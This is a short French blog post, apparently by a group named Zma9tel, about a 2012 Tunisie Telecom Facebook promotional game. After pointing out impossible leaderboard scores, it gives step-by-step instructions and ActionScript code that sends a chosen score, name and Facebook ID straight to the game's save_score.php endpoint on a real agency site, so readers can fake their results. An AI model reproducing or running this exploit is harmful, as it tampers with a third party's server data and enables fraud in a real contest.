Tunisie Telecom a initié un jeu sur sa page Facebook pour
promouvoir une nouvelle promotion le 08 mai 2012 avec une application
développée en Flash par Havas Tunisie. Le principe est simple , il suffit juste d’attrapper le
maximum d’objets qui apparaissent pendant 60 secondes.
En consultant le classement des joueurs, nous avons remarqué
des scores irréalisables en fonction du temps et d’objets affichés :
Comme on constate dans l’image ci dessus, le premier a
atteint le score de 172 en 60 secondes qui est équivalent à attrapper 3 objets
en une seconde , la chose qui est impossible .
L’équipe Zma9tel a dégagé la défaillance exploitable par ce
bout de code .
Les étapes d’exploitation sont les suivantes :
- Inscrivez vous sur le Jeu de Tunisie Télécom
- Créer un nouveau projet Flash
- Ajouter à l’action du premier Frame le bout de code ci dessous tout en changeant les paramètres avec vos informations , que vous pouvez les consulter via cette URL : http://graph.facebook.com/votreusername OU votre ID
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLVariables;
import flash.net.URLRequestMethod;
import flash.events.Event;
var path:String = "http://www.havas-tunisie.net/ smsmmstt/php/save_score.php";
var urlLoader:URLLoader = new URLLoader();
var urlReq:URLRequest = new URLRequest(path);
var urlVars:URLVariables = new URLVariables()
urlVars.score = Le Score que vous voulez;
urlVars.first="votre prenom";
urlVars.id = votre ID facebook
urlVars.last="votre nom"
urlVars.type = "set";
urlReq.method = URLRequestMethod.POST;
urlReq.data = urlVars;
urlLoader.addEventListener( Event.COMPLETE, onComplete);
urlLoader.load(urlReq);
Puis compiler ce projet et félicitations
votre score a été modifié J
N’hésitez pas à partager l'article et nous rejoindre sur notre page Facebook
et Twitter

Aucun commentaire:
Enregistrer un commentaire